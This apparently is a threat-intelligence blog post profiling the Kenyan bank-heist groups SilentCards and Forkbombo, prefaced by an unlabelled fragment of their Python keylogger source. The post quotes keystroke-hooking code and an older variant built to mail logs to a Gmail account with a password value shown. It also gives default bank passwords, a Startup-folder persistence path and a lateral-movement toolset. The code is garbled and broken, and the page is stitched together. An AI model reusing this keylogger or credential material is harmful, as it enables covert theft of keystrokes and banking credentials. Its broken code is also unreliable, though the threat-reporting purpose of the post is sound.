import win32gui
import threading
from threading import Timer
from threading import Thread
#import shutil
#import ftplib
import base64
import random

now =
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "

FILE_NAME=os.getenv('AllUsersProfile')+"\\" + LOGGED_IN + ".sys"

def randomize_time():
    random_time = 0
    for x in range(7):
        random_time = random.randint(1,10)
    return random_time

def save_logs(txt):
    f = open(FILE_NAME, 'a') # or 'w'?
    LOG_TEXT = ""

def getSystemVersion():
    #print os.environ
    print ""

def hailmary():
    hookme = pyHook.HookManager()
    hookme.KeyDown = OnKeyboardEvent
    print trm
    pythoncom.PumpMessages() #will wait forever
    return True

def OnKeyboardEvent(event):
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        print LOG_NEWACTIVE
        now =
##        f = open(FILE_NAME, 'a') # or 'w'?
##        f.write("\n============================================================================= \n")
##        f.write("<<Active Window:"+"<<"+event.WindowName+">>Date<<"+str(now)+">>HOST<<"+COMPUTER_NAME+ ">>USER<<"+ LOGGED_IN+">>\n")
##        f.write("\n=============================================================================\n")
##        f.close()
        LOG_TEXT += "\n============================================================================= \n"
        LOG_TEXT += "<<Active Window:"+"<<"+event.WindowName+">>Date<<"+str(now)+">>HOST<<"+COMPUTER_NAME+ ">>USER<<"+ LOGGED_IN+">>\n"
        LOG_TEXT += "\n=============================================================================\n"
        print LOG_TEXT

    LOG_TEXT = ""	
    if event.Ascii == 8: LOG_TEXT += "[Bks]"
    elif event.Ascii == 13 : LOG_TEXT += "[ENT]\n"
    elif event.Ascii == 9: LOG_TEXT += "[Tab]\n"
    elif event.Ascii == 14 or event.Ascii == 15: LOG_TEXT += "[Shift]\n"
    else: LOG_TEXT += str(chr(event.Ascii))
    print LOG_TEXT
##    f = open(FILE_NAME, 'a') # or 'w'?
##    f.write(LOG_TEXT)
##    f.close()
    return True

def sleeper():
    while True:
        # Get user input
        ##num = raw_input('How long to wait: ')
        global LOG_TEXT
        num = randomize_time()
        print "Waiting time:%s ", num
        # Try to convert it to a float
            num = float(num)
        except ValueError:
            print('Please enter in a number.\n')
        # Run our time.sleep() command,
        # and show the before and after time
        print('Before: %s' % time.ctime())
        print('After: %s\n' % time.ctime())

#main loop

S0s = Thread(target=hailmary, args=())

threadzHz = threading.Thread(target=sleeper, args=())

##zz = Thread(target=data_in_data_out, args=())


Currently the logger is saved as deskjet.exe with a HP icon and its copied via SMB service laterally from an RUT backdoor. RUT Backdoors are usually installed by insiders and can be detected, by locating a process called rutserv.exe

With above revelations, we are going to expect a lot of Tactics, Techniques and Procedures, (TTPs) changes by this Threat group especially from their Python coder.

Tracking the 400 mil shillings AFT – SilentCards big come back.


Our CNO team that is selectively tasked with offensive operations to gather CTI, for our customers so as to arm them with the most accurate intelligence, stumbled on a server, early 2018, that was used for a larger heist late last year, where the actor made 400,000,000 + KSHs payday. Due to the fact the institution is not our client and has not directly or indirectly contacted us for approval to post this blog and the laws of Kenya do not agree we do so, we can’t name the affected institution, rather we can provide details of how such a heist occurs according to our research, observations and intel collection.

Threat Intelligence

SilentsCards threat actor is a home grown AFT and is an offshoot of Forkbombo Group. They started their robberies late 2017 and have been heisting organizations with lots of millions lost for the last one year. This group inherited the old version key logger used by Forkbombo and perfected it for collection of key logger data in a targeted environment.

The latest code used in several banks, after reversing has the main Def as OnKeyBoardEvent() and the file is usually saved up as

def OnKeyboardEvent(event):
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        print LOG_NEWACTIVE

The second part specifies where the files logged are written into, by default SilentCards saves them in UserProfile as seen below with tar.gz as an extension to fool inexperienced analysts.

now =
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "

By default, you will find these outputs in the home directory of the user who is logged, which by default happens when the users gets into their system after logging in.

The logger PE is usually copied and saved into Startup folder which is an older TTP, that ForkBombo group used back in 2015-2017 and then abandoned and started using Scheduled-tasks, Registry and Drivers for persistence.

SilentCards still saves them in startup directory as :

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\PE.File.Executable

In short, SilentCards have not improved their operations to try defend their tactics in the long run, but there is a time, our Defenders ended up in a fire fight with SilentCards, as they tried to defend a module they used for CnC during a Breach Readiness service.

SilentCards are known to use AnyDesk for Remote Administration, they are known to use GoToMyPc since 2015, and with collaboration with PsExec, they can laterally move through the ICT Workstations deploying key logger and through the DataCenters dumping passwords and other essential access tokens with use of an open source tool called mimikatz.

Our CNO team observed as they collected Windows creds, and later targeted Card Center servers, by either looking for the server owners and collecting their SSHD credentials. By default most organizations usually have default passwords they set up for users, and on this bank they used three different default passwords.

a) admin123

b) welcome1

c) secret123

SilentCards was also interested on the initial entry to get into a box called Polarisprapp01 and Eqc-VC01. Using these two servers, just like their sister threat actor, Forkbombo group, they started coping all Audit Reports generated by the institutions from the auditors workstations for further review of the institutions situation awareness and Risk Analysis and copied them via Eqc-VC01 an internal server, to a C2 server overseas.

After collecting as many credentials as they could, 400 Million Kenya Shillings was moved in batches, crediting fictitious accounts, then accessed either via VISA/MASTERCARD overseas or with use of Mobile Money Transfers. Unlike Forkbombo which has several money mules, SilentCards relies a lot on foreigners for quick transactions outside the country.

Outlook on SilentCards

We believe this threat actor is still active in different infrastructures and is planning to attack another institution this Easter by running huge transactions. By raising community awareness, we intend to minimize damage and loss to your customers and to ours by maiming their activities and capabilities when exploiting infrastructures across East Africa.

Understanding the Adversaries : The Forkbombo group.

The Forkbombo code-name of this threat actor was derived from a toolkit they used back in 2016-2017 to send keylogger data after infecting an institution. The email was

This is a homegrown cyber threat actor that has been active since 2015 and has grown to a huge cartel made up of Money Launderers, Hackers, Coders, Operators and Insiders. This adversary represents constant threat to a wide variety of institutions mostly being the Banking sector around Kenya and its neighboring countries.

This threat actor is known to specialize in python scripts to create quick tools for exploitation phase of an environment. They are also known to use opensource tools like Empire, Metasploit, DeathStar, Bloodhound, CrackMapExec, Aesshell, XmultiShell, CHAOS, Katoolin etc.

Their initial keylogger was written by a student who later became a bigger player of the group and he registered in 2016 to be used as mail receiver of the keylogger data as below:

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
global MAIL_SENT
gmail_user = “”
gmail_pwd = “mlimani_25891011”
now =
COMPUTER_NAME= socket.gethostname()+” “+ socket.gethostbyname(socket.gethostname()) + “: “

This email was used in a lot of money heists around the Nairobi before they changed to and later for further attacks. Whenever the keylogger generated its data, a file with extension .tar.gz was saved at the usernames userprofile with the username as the name of the file. When we responded to institutions with Forkbombo malware infestation we would find servers and workstations full of these text files that had that extension.

A reversed keylogger snapshot of the old Forkbombo’s logger that sent data to a Gmail account.

In 2017, several key leaders of Forkbombo group were arrested in a Safehouse they used in Yaya center with several hackers disappearing into the woods and splitting into two groups.

OnNet team do pursue them and has code-named these threat actors as SilentCards and GrapZone for attribution. In 2018, Grapzone members including money mules joined back together and new bigger Forkbombo group was made.

In the coming months, OnNet team will share with you more deeper CTI on these groups, why they are currently at a dispute and opposing sides.

OnNet pays special attention to these intruders and is currently pursuing other Advanced Financial Threats that are targeting our customers.